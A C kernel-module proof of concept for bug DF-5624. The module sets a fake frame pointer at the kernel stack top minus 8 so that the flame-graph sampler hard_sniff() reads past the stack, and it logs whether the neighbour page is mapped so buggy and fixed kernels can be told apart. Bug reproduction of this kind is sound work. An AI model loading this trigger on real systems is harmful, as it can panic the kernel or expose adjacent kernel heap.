DF-5624 / flameoob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-5624 PoC v2 -- hard_sniff() off-by-8 OOB read past kernel stack top. * * sys/platform/pc64/x86_64/mp_flame.c:136-138 * * for (n = 1; n < FLAME_GRAPH_FRAMES - 1; ++n) { * if (rbp < bot || rbp > top - 8 || ((intptr_t)rbp & 7)) * break; * fge->rips[n] = (intptr_t)*(char **)(rbp + 8); * * The guard admits rbp == top - 8, but the load at rbp+8 then reads * [top, top+8) -- 8 bytes past the end of the interrupted thread's * kernel stack (top == td_kstack + td_kstack_size). When the page * after the kstack is UNMAPPED this is a fatal kernel-mode page fault * (panic, all CPUs stopped); when mapped it silently copies adjacent * kernel heap into the flame entry (root-readable). * * v2 additions over v1: * - safe read-only 4-level page-table walk (through the DMAP) to * determine, WITHOUT faulting, whether the neighbour page is mapped; * printed as DF5624: NEIGHBOR ... so the serial console records * exactly which load hit an unmapped neighbour; * - the module's reference read of [top, top+8) only runs when the * neighbour is mapped, so the instrumentation itself can never * fault (that matters on the FIXED kernel where hard_sniff no * longer faults and the loop must survive an unmapped neighbour). * * The module performs NO writes to kernel memory. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/thread.h> #include <sys/globaldata.h> #include <machine/frame.h> #include <machine/cpufunc.h> /* hard_sniff */ #include <machine/pmap.h> #include <machine/vmparam.h> /* PHYS_TO_DMAP */ #include <sys/flame_graph.h> #define DF5624_RIP_MAGIC 0x0000DF0000005624ULL #define PG_PRS 0x0000000000000001ULL /* present */ #define PG_PS_BIT 0x0000000000000080ULL /* page size */ #define PG_FRAME_MSK 0x000FFFFFFFFFF000ULL /* * Safe present-check for a kernel VA: walk kernel_pmap's page tables * read-only through the direct map; never dereference a non-present * entry's target. Page-table pages are always physically present, so * PHYS_TO_DMAP reads of them cannot fault. */ static int df5624_kva_present(vm_offset_t va) { uint64_t *pml4 = (uint64_t *)kernel_pmap->pm_pml4; uint64_t pml4e; uint64_t *pdpe; uint64_t pdpe_v; uint64_t *pde; uint64_t pde_v; uint64_t *pt; pml4e = pml4[(va >> 39) & 0x1FF]; if (!(pml4e & PG_PRS)) return (0); pdpe = (uint64_t *)PHYS_TO_DMAP(pml4e & PG_FRAME_MSK); pdpe_v = pdpe[(va >> 30) & 0x1FF]; if (!(pdpe_v & PG_PRS)) return (0); if (pdpe_v & PG_PS_BIT) return (1); /* 1GB page */ pde = (uint64_t *)PHYS_TO_DMAP(pdpe_v & PG_FRAME_MSK); pde_v = pde[(va >> 21) & 0x1FF]; if (!(pde_v & PG_PRS)) return (0); if (pde_v & PG_PS_BIT) return (1); /* 2MB page */ pt = (uint64_t *)PHYS_TO_DMAP(pde_v & PG_FRAME_MSK); return ((pt[(va >> 12) & 0x1FF] & PG_PRS) ? 1 : 0); } static int flameoob_handler(module_t mod, int what, void *arg) { struct trapframe tf; globaldata_t gd; thread_t td; char *bot; char *top; uint64_t topval; int cpuid; int present; switch (what) { case MOD_LOAD: gd = mycpu; cpuid = gd->gd_cpuid; td = gd->gd_curthread; bot = (char *)td->td_kstack + PAGE_SIZE; /* skip guard */ top = (char *)td->td_kstack + td->td_kstack_size; present = df5624_kva_present((vm_offset_t)top); kprintf("DF5624: cpu%d kstack=[%p,%p) top=%p NEIGHBOR %s\n", cpuid, (void *)td->td_kstack, (void *)top, (void *)top, present ? "MAPPED" : "UNMAPPED"); memset(&tf, 0, sizeof(tf)); tf.tf_rip = (register_t)DF5624_RIP_MAGIC; /* rips[0] */ tf.tf_rsp = (register_t)(top - 0x200); tf.tf_rbp = (register_t)(top - 8); /* exact guard limit */ kprintf("DF5624: tf_rbp=%p == top-8: passes 'rbp > top-8' " "(equal is not greater), 8-aligned, >= bot -> " "hard_sniff loads *(rbp+8) at %p = [top, top+8): " "OUT OF BOUNDS READ; UNMAPPED here means the buggy " "kernel takes a fatal trap 12 at mp_flame.c:138\n", (void *)(top - 8), (void *)top); /* * The production sampler. Requires * debug.flame_graph_enable=1 (run.sh arms it first). * Buggy kernel + unmapped neighbour: panic right here. */ hard_sniff(&tf); if (present) { topval = *(volatile uint64_t *)top; kprintf("DF5624: survived; qword at [top, top+8) = " "%016llx (module reference read)\n", (unsigned long long)topval); kprintf("DF5624: expect dump cpu=%d entry: " "rips[0]=%016llx rips[1]=%016llx\n", cpuid, (unsigned long long)DF5624_RIP_MAGIC, (unsigned long long)topval); } else { kprintf("DF5624: survived UNMAPPED-neighbour sniff " "(no OOB fault) -- fixed guard must be why\n"); } return (0); case MOD_UNLOAD: return (0); default: return (0); } } static moduledata_t flameoob_mod = { "flameoob", flameoob_handler, NULL }; DECLARE_MODULE(flameoob, flameoob_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(flameoob, 1); |